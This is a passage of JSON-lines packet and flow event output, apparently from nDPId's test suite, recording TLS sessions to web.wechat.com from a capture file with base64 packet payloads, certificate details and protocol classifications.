ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":265,"source":"wechat.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":8,"flow_first_seen":1492167378926,"flow_last_seen":1492167380590,"flow_tot_l4_data_len":1946,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":243,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54095,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00424{"flow_id":23,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":590211,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0cO5AAEAGpFbAqAFny82XotNPAbtxraSaZPOBE4AQAPsKyAAAAQEICgAw1OFFrVli"} +02347{"flow_id":23,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":590625,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIIiBAAC4G\/vDLzZeiwKgBZwG7009k84ETca2kmoAQAHgahAAAAQEICkWtWWIAMNSIi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQRuQZta7ETnvqFtrDw9Sift1iQXzYX72v26iTZCGzisTf7d+QKS2SpiQA5l8Dy7GgZRVhB+DXag5C8DSCCKjdDPBgEBABnKlY47"} +01313{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":267,"source":"wechat.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":10,"flow_first_seen":1492167378926,"flow_last_seen":1492167380590,"flow_tot_l4_data_len":3438,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":343,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54095,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00425{"flow_id":23,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":590649,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0cO9AAEAGpFXAqAFny82XotNPAbtxraSaZPOGp4AQAREFHgAAAQEICgAw1OFFrVli"} +00780{"flow_id":23,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":591251,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE4IiFAAC4GA4DLzZeiwKgBZwG7009k84anca2kmoAYAHjl+gAAAQEICkWtWWIAMNSIRkegUwvMxkxVvteWTRtsy7b6NWkuMrZF4TyVgb+E5NdsFtADy6H37iuqs2GVTfzS3XJPvLl3D+Ri0ojp6RMGjY8ZVkX\/k4QQz9yw\/Njz4veR\/gCMZ6Itbi6hRLL6p9wdeRluCe4af35kT2e2dsJAEwU69kODFYvUDnl2Dque6AtNTIPBK1zE6+TyM0srw6tg\/ElUwrAI8dqVU2p9s+1hIyhy1SQe8f5Mqi921MHuqt2hj4JtmhI3cs4h14ogHwkVPTXKJC+WLXY98QB5iWBEkL9a8b0BCtimgSnGXOR+Ay1FRh8sbaI6RImz4Wph0CkNS4OBDl1wg+lDBuoWAwMABA4AAAA="} +00425{"flow_id":23,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":591287,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0cPBAAEAGpFTAqAFny82XotNPAbtxraSaZPOHq4AQASgEAwAAAQEICgAw1OFFrVli"} +00596{"flow_id":23,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":592818,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACycPFAAEAGo9XAqAFny82XotNPAbtxraSaZPOHq4AYASgsOgAAAQEICgAw1OJFrVliFgMDAEYQAABCQQReTD6wNH0MTu2Xeroepy4aexjx4e2n7L2funPy1zNlFaA2FAMr0v5a9I+LJMJgi2pPDvpuviDMGBI6Eh8HOwVTFAMDAAEBFgMDACgAAAAAAAAAADiARZ0NrkHoDDFlyO5g17UpugH+ytdavJRQF9b50Hax"} +00436{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":894348,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAACwGKJ3LzZeiwKgBZwG701DDsQ6LRVfOJaASN8i7gwAAAgQFoAQCCApFrVm2ADDU3wEDAwc="} +00424{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":894386,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0GvxAAEAG+kjAqAFny82XotNQAbtFV84lw7EOjIAQAOUg0QAAAQEICgAw1S1FrVm2"} +00748{"flow_id":24,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":894610,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEiGv1AAEAG+VnAqAFny82XotNQAbtFV84lw7EOjIAYAOWJCgAAAQEICgAw1S1FrVm2FgMBAOkBAADlAwPkquj1+KgT4KNlV8MaR+Hdvo3+qTOKljkN+dwtx1j15iCc+qdX8GXELVfQ5N806uYJcFsoXMTX+cAyXbg9n1utjQAg6urMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB86uoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIqqoAHQAXABj6+gABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":274,"source":"wechat.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":4,"flow_first_seen":1492167380581,"flow_last_seen":1492167380894,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54096,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00447{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":947303,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABExrdAAAERD+fAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00477{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":276,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":947353,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00448{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":277,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":947734,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABExrhAAAERD+bAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00478{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":947762,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00495{"flow_id":23,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167380,"pkt_ts_usec":953431,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnIiJAAC4GBFDLzZeiwKgBZwG7009k84erca2lGIAYAHihjgAAAQEICkWtWbwAMNTiFAMDAAEBFgMDACh0+E7epZD9eVBRkwrRTXJ2FcCaScxzkJxpEodh7Yei1lVGF6yGLPn7"} +00424{"flow_id":24,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167381,"pkt_ts_usec":211728,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0VIpAACwG1BrLzZeiwKgBZwG701DDsQ6MRVfPE4AQAHggAAAAAQEICkWtWgYAMNUt"} +02344{"flow_id":24,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167381,"pkt_ts_usec":212485,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIVItAACwGzoXLzZeiwKgBZwG701DDsQ6MRVfPE4AQAHjgBAAAAQEICkWtWgYAMNUtFgMDAF0CAABZAwOeRml+UEXV\/c05TUmeBavqKEyDNwxx0uepvO9Vp653ByA3mLBCmIceJJgOxXyELRaSDZshWQNNLhQemCnnvWjec8AvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":286,"source":"wechat.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":6,"flow_first_seen":1492167380581,"flow_last_seen":1492167381212,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54096,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00424{"flow_id":24,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":287,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167381,"pkt_ts_usec":212528,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Gv5AAEAG+kbAqAFny82XotNQAbtFV88Tw7EUIIAQAPsZmQAAAQEICgAw1X1FrVoG"} +02346{"flow_id":24,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167381,"pkt_ts_usec":212932,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIVIxAACwGzoTLzZeiwKgBZwG701DDsRQgRVfPE4AQAHjpiQAAAQEICkWtWgYAMNUti6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQSMuE4RsBoYpE292p5R+anu9ciUT\/Hc468n4OA5+NEg0+be4WfoFqBtj9V6cpBSJhCEsGS8qvF5xqCEo9MXukVtBgEBAF6VvgGy"} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":288,"source":"wechat.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":8,"flow_first_seen":1492167380581,"flow_last_seen":1492167381212,"flow_tot_l4_data_len":3366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54096,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": 